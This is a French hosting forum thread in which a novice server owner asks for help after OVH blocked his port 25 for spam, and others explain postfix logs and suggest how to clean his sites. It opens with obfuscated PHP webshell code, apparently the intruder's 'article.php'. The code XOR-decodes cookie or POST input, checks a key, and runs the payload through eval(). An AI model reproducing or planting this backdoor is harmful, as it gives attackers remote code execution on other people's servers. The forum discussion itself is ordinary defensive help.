$GLOBALS[$GLOBALS['m262'][96].$GLOBALS['m262'][87].$GLOBALS['m262'][92].$GLOBALS['m262'][64].$GLOBALS['m262'][15]] = $GLOBALS['m262'][58].$GLOBALS['m262'][71].$GLOBALS['m262'][58].$GLOBALS['m262'][15].$GLOBALS['m262'][38].$GLOBALS['m262'][58].$GLOBALS['m262'][92].$GLOBALS['m262'][38].$GLOBALS['m262'][65].$GLOBALS['m262'][42].$GLOBALS['m262'][46].$GLOBALS['m262'][63].$GLOBALS['m262'][38].$GLOBALS['m262'][65].$GLOBALS['m262'][46].$GLOBALS['m262'][35].$GLOBALS['m262'][64].$GLOBALS['m262'][85].$GLOBALS['m262'][65].$GLOBALS['m262'][85].$GLOBALS['m262'][61].$GLOBALS['m262'][69].$GLOBALS['m262'][60].$GLOBALS['m262'][65].$GLOBALS['m262'][71].$GLOBALS['m262'][38].$GLOBALS['m262'][85].$GLOBALS['m262'][58].$GLOBALS['m262'][60].$GLOBALS['m262'][46].$GLOBALS['m262'][63].$GLOBALS['m262'][46].$GLOBALS['m262'][87].$GLOBALS['m262'][35].$GLOBALS['m262'][42].$GLOBALS['m262'][60];
global $m7e06;

function md49cd5($c6b0e972a, $d861)
{
$o8a93f331 = "";

for ($j4935a=0; $j4935a<$GLOBALS[$GLOBALS['m262'][78].$GLOBALS['m262'][64].$GLOBALS['m262'][42].$GLOBALS['m262'][69].$GLOBALS['m262'][85]]($c6b0e972a)
{
for ($kaa9f7adb=0; $kaa9f7adb<$GLOBALS[$GLOBALS['m262'][78].$GLOBALS['m262'][64].$GLOBALS['m262'][42].$GLOBALS['m262'][69].$GLOBALS['m262'][85]]($d861) && $j4935a<$GLOBALS[$GLOBALS['m262'][78].$GLOBALS['m262'][64].$GLOBALS['m262'][42].$GLOBALS['m262'][69].$GLOBALS['m262'][85]]($c6b0e972a); $kaa9f7adb++, $j4935a++)
{
$o8a93f331 .= $GLOBALS[$GLOBALS['m262'][63].$GLOBALS['m262'][42].$GLOBALS['m262'][15].$GLOBALS['m262'][61].$GLOBALS['m262'][38].$GLOBALS['m262'][42].$GLOBALS['m262'][38]]($GLOBALS[$GLOBALS['m262'][96].$GLOBALS['m262'][60].$GLOBALS['m262'][71].$GLOBALS['m262'][15]]($c6b0e972a[$j4935a]) ^ $GLOBALS[$GLOBALS['m262'][96].$GLOBALS['m262'][60].$GLOBALS['m262'][71].$GLOBALS['m262'][15]]($d861[$kaa9f7adb]));
}
}

return $o8a93f331;
}

function s8f6($c6b0e972a, $d861)
{
global $m7e06;

return $GLOBALS[$GLOBALS['m262'][66].$GLOBALS['m262'][61].$GLOBALS['m262'][92].$GLOBALS['m262'][42].$GLOBALS['m262'][38].$GLOBALS['m262'][71]]($GLOBALS[$GLOBALS['m262'][66].$GLOBALS['m262'][61].$GLOBALS['m262'][92].$GLOBALS['m262'][42].$GLOBALS['m262'][38].$GLOBALS['m262'][71]]($c6b0e972a, $m7e06), $d861);
}

foreach ($GLOBALS[$GLOBALS['m262'][59].$GLOBALS['m262'][69].$GLOBALS['m262'][81].$GLOBALS['m262'][60].$GLOBALS['m262'][42].$GLOBALS['m262'][64].$GLOBALS['m262'][60].$GLOBALS['m262'][85].$GLOBALS['m262'][81]] as $d861=>$xc17a7e0)
{
$c6b0e972a = $xc17a7e0;
$z3ca842 = $d861;
}

if (!$c6b0e972a)
{
foreach ($GLOBALS[$GLOBALS['m262'][62].$GLOBALS['m262'][15].$GLOBALS['m262'][64].$GLOBALS['m262'][64]] as $d861=>$xc17a7e0)
{
$c6b0e972a = $xc17a7e0;
$z3ca842 = $d861;
}
}

$c6b0e972a = @$GLOBALS[$GLOBALS['m262'][41].$GLOBALS['m262'][58].$GLOBALS['m262'][61].$GLOBALS['m262'][35].$GLOBALS['m262'][35].$GLOBALS['m262'][58].$GLOBALS['m262'][46].$GLOBALS['m262'][64]]($GLOBALS[$GLOBALS['m262'][41].$GLOBALS['m262'][64].$GLOBALS['m262'][92].$GLOBALS['m262'][64].$GLOBALS['m262'][58].$GLOBALS['m262'][69].$GLOBALS['m262'][60]](@$GLOBALS[$GLOBALS['m262'][84].$GLOBALS['m262'][61].$GLOBALS['m262'][92].$GLOBALS['m262'][38].$GLOBALS['m262'][60].$GLOBALS['m262'][87]]($c6b0e972a), $z3ca842));
if (isset($c6b0e972a[$GLOBALS['m262'][63].$GLOBALS['m262'][62]]) && $m7e06==$c6b0e972a[$GLOBALS['m262'][63].$GLOBALS['m262'][62]])
{
if ($c6b0e972a[$GLOBALS['m262'][63]] == $GLOBALS['m262'][32])
{
$j4935a = Array(
$GLOBALS['m262'][8].$GLOBALS['m262'][94] => @$GLOBALS[$GLOBALS['m262'][32].$GLOBALS['m262'][46].$GLOBALS['m262'][60].$GLOBALS['m262'][46].$GLOBALS['m262'][81].$GLOBALS['m262'][64].$GLOBALS['m262'][85].$GLOBALS['m262'][46]](),
$GLOBALS['m262'][19].$GLOBALS['m262'][94] => $GLOBALS['m262'][60].$GLOBALS['m262'][91].$GLOBALS['m262'][64].$GLOBALS['m262'][65].$GLOBALS['m262'][60],
);
echo @$GLOBALS[$GLOBALS['m262'][48].$GLOBALS['m262'][46].$GLOBALS['m262'][87].$GLOBALS['m262'][61]]($j4935a);
}
elseif ($c6b0e972a[$GLOBALS['m262'][63]] == $GLOBALS['m262'][92])
{
eval($c6b0e972a[$GLOBALS['m262'][38]]);
}
}

Ferris
05/06/2015, 22h06
Citation Envoyé par MatthieuP
Bonjour,

Les logs précédents ne donnent pas d'indications particulière pour le problème d'envoi de spam rencontré.

Concernant le spam, il serait utile de vérifier les extraits de log mail correspondant à l'envoi d'un mail identifié comme spam. Vous pourrais ainsi déterminer comment le spam a été envoyé via l'utilisateur présent dans les logs. Vous aurez généralement soit le compte mail impacté, soit l'utilisateur système lié à un site (et vous pourrez donc soit changer le mot de passe de la boite mail, soit concentrer vos recherches sur le site correspondant à cet utilisateur pour nettoyer les scripts).

Cordialement,

Matthieu P.
OVH Team

Bonjour et merci pour la participation !
En fait, mon serveur heberge plusieurs domaines perso mais au final, un seul compte mail pop en + du postmaster. ce compte mail n'a pas été touché.
Les logs m'ont permis de voir d'où était envoyé les mails comme vieux formulaires depuis supprimés . Ce qui a été touché ce sont plusieurs domaines (pour lesquels il n'existe pas de compte mail rattaché).
Du coup dans les logs, j'avais en nom d'expediteur pour plusieurs milliers de spam, "un-nom-aleatoire-créé-par-le-spammeur@mon-domaine01.fr"
J'ai aussi trouvé un fichier bizarre ne venant pas de moi : article.php en base64 (voir post suivant)


- - - Updated - - -

- - - Updated - - -

Citation Envoyé par Nowwhat
Précisions:


smtpd[xxxx] : la partie "serveur" qui s'occupe de la réception des mails, venant d'autre serveurs mail.
Ce que tu devrais trouver est ceci: smtp[xxxx] : c'est lui qui s'occupe de l'émission des mails vers d'autres serveurs [or, il ne peut plus; OVH a coupé la porte "25", destination "n'importe où].

anvil[xxx]: une partie de postfix qui s'occupe des stats interne, pas intéressant en ce moment.

Cette partie de ton log te montre simplement postfix qui a reçu un mail venant de "83.25-broadband.acttv.in" (IP 202.83.25.95) mais il n'aime pas ce serveur mail (et il a raison) donc il a balancée la connexion.

merci beaucoup, j'y vois plus clair !

fritz2cat
05/06/2015, 11h41
En fait, pour résumer, dans les fragments de logs postés, il n'y a pas une seule ligne qui semble relative au problème que tu soumets.
Il faudrait remonter à la date et heure de l'incodent.

Nowwhat
04/06/2015, 18h47
Précisions:
Jun 3 17:07:53 ns1234567 postfix/smtpd[9611]: warning: 202.83.25.95: hostname 83.25-broadband.acttv.in verification failed: Name or service not known
Jun 3 17:07:53 ns1234567 postfix/smtpd[9611]: connect from unknown[202.83.25.95]
Jun 3 17:07:53 ns1234567 postfix/smtpd[9611]: disconnect from unknown[202.83.25.95]
Jun 3 17:11:14 ns1234567 postfix/anvil[9618]: statistics: max connection rate 1/60s for (smtp:202.83.25.95) at Jun 3 17:07:53
Jun 3 17:11:14 ns1234567 postfix/anvil[9618]: statistics: max connection count 1 for (smtp:202.83.25.95) at Jun 3 17:07:53
Jun 3 17:11:14 ns1234567 postfix/anvil[9618]: statistics: max cache size 1 at Jun 3 17:07:53
smtpd[xxxx] : la partie "serveur" qui s'occupe de la réception des mails, venant d'autre serveurs mail.
Ce que tu devrais trouver est ceci: smtp[xxxx] : c'est lui qui s'occupe de l'émission des mails vers d'autres serveurs [or, il ne peut plus; OVH a coupé la porte "25", destination "n'importe où].

anvil[xxx]: une partie de postfix qui s'occupe des stats interne, pas intéressant en ce moment.

Cette partie de ton log te montre simplement postfix qui a reçu un mail venant de "83.25-broadband.acttv.in" (IP 202.83.25.95) mais il n'aime pas ce serveur mail (et il a raison) donc il a balancée la connexion.

MatthieuP
04/06/2015, 11h29
Bonjour,

Les logs précédents ne donnent pas d'indications particulière pour le problème d'envoi de spam rencontré.

Concernant le spam, il serait utile de vérifier les extraits de log mail correspondant à l'envoi d'un mail identifié comme spam. Vous pourrais ainsi déterminer comment le spam a été envoyé via l'utilisateur présent dans les logs. Vous aurez généralement soit le compte mail impacté, soit l'utilisateur système lié à un site (et vous pourrez donc soit changer le mot de passe de la boite mail, soit concentrer vos recherches sur le site correspondant à cet utilisateur pour nettoyer les scripts).

Cordialement,

Matthieu P.
OVH Team

Ferris
03/06/2015, 22h26
Citation Envoyé par fritz2cat
Commentaires dans le texte
Merci pour la reponse, mais je ne parle pas de ce qui n'a pas d'interet mais plutot du reste, vu que je ne m'y connais pas assez.

Par exemple des lignes comme ci-dessous ne sont pas top, non ?

Jun 3 17:07:53 ns1234567 postfix/smtpd[9611]: warning: 202.83.25.95: hostname 83.25-broadband.acttv.in verification failed: Name or service not known
Jun 3 17:07:53 ns1234567 postfix/smtpd[9611]: connect from unknown[202.83.25.95]
Jun 3 17:07:53 ns1234567 postfix/smtpd[9611]: disconnect from unknown[202.83.25.95]
Jun 3 17:11:14 ns1234567 postfix/anvil[9618]: statistics: max connection rate 1/60s for (smtp:202.83.25.95) at Jun 3 17:07:53
Jun 3 17:11:14 ns1234567 postfix/anvil[9618]: statistics: max connection count 1 for (smtp:202.83.25.95) at Jun 3 17:07:53
Jun 3 17:11:14 ns1234567 postfix/anvil[9618]: statistics: max cache size 1 at Jun 3 17:07:53

TBC_Ly0n
03/06/2015, 21h31
On peut débloquer très facilement le port 25 Plusieurs fois...
(j'ai des clients qui utilisent des CMS daubés jusqu'à la moelle)

fritz2cat
03/06/2015, 20h02
Commentaires dans le texte
Citation Envoyé par Ferris
Re,

Voici un exemple de mes derniers logs mail, auriez vous une piste pour m'aider à securiser tout ça :
postfix/pickup[3231]: 558B5C73BC: uid=0
pickup: mail injecté par un processus local (et non via une connexion réseau entrante)
uid=0: processus appartenant à root
donc cette entrée ne nous est d'aucune utilité, c'est très vraisemblablement un mail légitime.


Pour les logs apaches, je n'ai que 2 lignes depuis mon nettoyage
[Wed Jun 03 14:46:08 2015] [error] [client 192.99.144.140] File does not exist: /home/ovh/www/webdav
[Wed Jun 03 15:14:53 2015] [error] [client 118.193.10.195] request failed: error reading the headers
sans intérêt pour nous

Ferris
03/06/2015, 16h28
Re,

Voici un exemple de mes derniers logs mail, auriez vous une piste pour m'aider à securiser tout ça :

Jun 3 17:00:19 ns1234567 postfix/anvil[7929]: statistics: max connection rate 1/60s for (smtp:116.126.49.148) at Jun 3 16:56:57
Jun 3 17:00:19 ns1234567 postfix/anvil[7929]: statistics: max connection count 1 for (smtp:116.126.49.148) at Jun 3 16:56:57
Jun 3 17:00:19 ns1234567 postfix/anvil[7929]: statistics: max cache size 1 at Jun 3 16:56:57
Jun 3 17:03:46 ns1234567 clamd.amavisd[3099]: SelfCheck: Database status OK.
Jun 3 17:07:53 ns1234567 postfix/smtpd[9611]: warning: 202.83.25.95: hostname 83.25-broadband.acttv.in verification failed: Name or service not known
Jun 3 17:07:53 ns1234567 postfix/smtpd[9611]: connect from unknown[202.83.25.95]
Jun 3 17:07:53 ns1234567 postfix/smtpd[9611]: disconnect from unknown[202.83.25.95]
Jun 3 17:11:14 ns1234567 postfix/anvil[9618]: statistics: max connection rate 1/60s for (smtp:202.83.25.95) at Jun 3 17:07:53
Jun 3 17:11:14 ns1234567 postfix/anvil[9618]: statistics: max connection count 1 for (smtp:202.83.25.95) at Jun 3 17:07:53
Jun 3 17:11:14 ns1234567 postfix/anvil[9618]: statistics: max cache size 1 at Jun 3 17:07:53
Jun 3 17:12:18 ns1234567 postfix/smtpd[10320]: connect from unknown[119.147.136.125]
Jun 3 17:12:18 ns1234567 postfix/smtpd[10320]: disconnect from unknown[119.147.136.125]
Jun 3 17:13:46 ns1234567 clamd.amavisd[3099]: SelfCheck: Database status OK.
Jun 3 17:15:39 ns1234567 postfix/anvil[10327]: statistics: max connection rate 1/60s for (smtp:119.147.136.125) at Jun 3 17:12:18
Jun 3 17:15:39 ns1234567 postfix/anvil[10327]: statistics: max connection count 1 for (smtp:119.147.136.125) at Jun 3 17:12:18
Jun 3 17:15:39 ns1234567 postfix/anvil[10327]: statistics: max cache size 1 at Jun 3 17:12:18
Jun 3 17:16:19 ns1234567 postfix/pickup[3231]: 558B5C73BC: uid=0 from=
Jun 3 17:16:19 ns1234567 postfix/cleanup[11022]: 558B5C73BC: message-id=<20150603151619.558B5C73BC@ns1234567.ip-10-20-30.eu>
Jun 3 17:16:19 ns1234567 opendkim[26194]: 558B5C73BC: no signing table match for 'postmaster@ns1234567.ip-10-20-30.eu'
Jun 3 17:16:19 ns1234567 opendkim[26194]: 558B5C73BC: no signature data
Jun 3 17:16:19 ns1234567 postfix/qmgr[26934]: 558B5C73BC: from=, size=1634, nrcpt=1 (queue active)
Jun 3 17:16:19 ns1234567 postfix/trivial-rewrite[11023]: warning: do not list domain ns1234567.ip-10-20-30.eu in BOTH mydestination and virtual_mailbox_domains
Jun 3 17:16:19 ns1234567 postfix/cleanup[11022]: 93DFFC73BB: message-id=<20150603151619.558B5C73BC@ns1234567.ip-10-20-30.eu>
Jun 3 17:16:19 ns1234567 postfix/local[11031]: 558B5C73BC: to=, orig_to=, relay=local, delay=0.66, delays=0.62/0.03/0/0, dsn=2.0.0, status=sent (forwarded as 93DFFC73BB)
Jun 3 17:16:19 ns1234567 postfix/qmgr[26934]: 93DFFC73BB: from=, size=1784, nrcpt=1 (queue active)
Jun 3 17:16:19 ns1234567 postfix/qmgr[26934]: 558B5C73BC: removed
Pour les logs apaches, je n'ai que 2 lignes depuis mon nettoyage

[Wed Jun 03 14:46:08 2015] [error] [client 192.99.144.140] File does not exist: /home/ovh/www/webdav
[Wed Jun 03 15:14:53 2015] [error] [client 118.193.10.195] request failed: error reading the headers

fritz2cat
03/06/2015, 14h10
[ je corrige avant de déclencher la guerre ]
[ j'ai confondu Release 2 et Release 3 - sorry ]

question 1: si la faille est toujours présente et que tu as vidé la queue, ce n'est pas parce que le pirate ne s'est plus montré depuis 2 heures qu'il ne va plus revenir. Si OVH doit à nouveau bloquer ton port 25 ce sera pour une durée plus longue, et la 3è fois ce sera pour un mois, je pense.

question 2: analyse tes logs apache et tes logs mail pour voir si c'est bien le script qui est indlqué à l'heure où les mails sont envoyés.

Ferris
03/06/2015, 13h17
Bonjour à toutes et tous !

Je souhaite avoir quelques petits conseils suite à une attaque et un serveur utilisé pour envoyer des spam.

Mon niveau est "noobs" et suis sur OVH Release3


J'ai tout d'abord reçu ce message d'OVH :

Notre protection Anti-Spam a détecté un envoi important de spam à partir d'une de vos IP: xx.xx.xx.xx


Afin d'assurer la sécurité de notre réseau le trafic sortant de votre serveur vers les ports 25 a été suspendu.

Afin que vous puissiez effectuer les vérifications voici un échantillon des emails bloqués:

-Liste de mails concernés avec des spam score de 300 à 500

Merci de consulter attentivement ce guide:

http://guide.ovh.net/AntiSpamBestPratice

Voila ce que j'ai fais (après des recherches) et je souhaite votre avis pour savoir si c'est suffisant (avant de debloquer le port 25 via l'interface OVH) :

- Arreter postfix
- Regarder la mail queue se remplir (~10.000 mail sur 12heures)
- Ensuite plusieurs postcat -q ID-du-MAIL-en-Queue pour regarder X-PHP-Origin et X-Mailer
- Identifier des vieux formulaires qui posaient problème (nettoyage par le vide pour le moment en supprimant les formulaires et scripts des sites concernés)
- Ensuite un postsuper -d ALL pour vider la queue
- Redemarrage de postfix
- Depuis 120min : 0 mail in queue

Question 1 : qu'en pensez vous, est-ce- suffisant ?

Question 2 : Certains spam etaient envoyés avec un from d'un de mes domaines type "nom-au-hazard@mon-domaine-01.fr" mais dans le X-PHP-Origin, le fichier incriminé faisait parti d'un autre site hébergé sur le même serveur... j'ai trouvé cela bizarre.
Est-il donc possible que les mechants spammeur aient pu utiliser une faille d'un domaine A et poster du spam avec le domaine B ?

Merci à ceux qui voudront bien m'aiguiller ou m'aider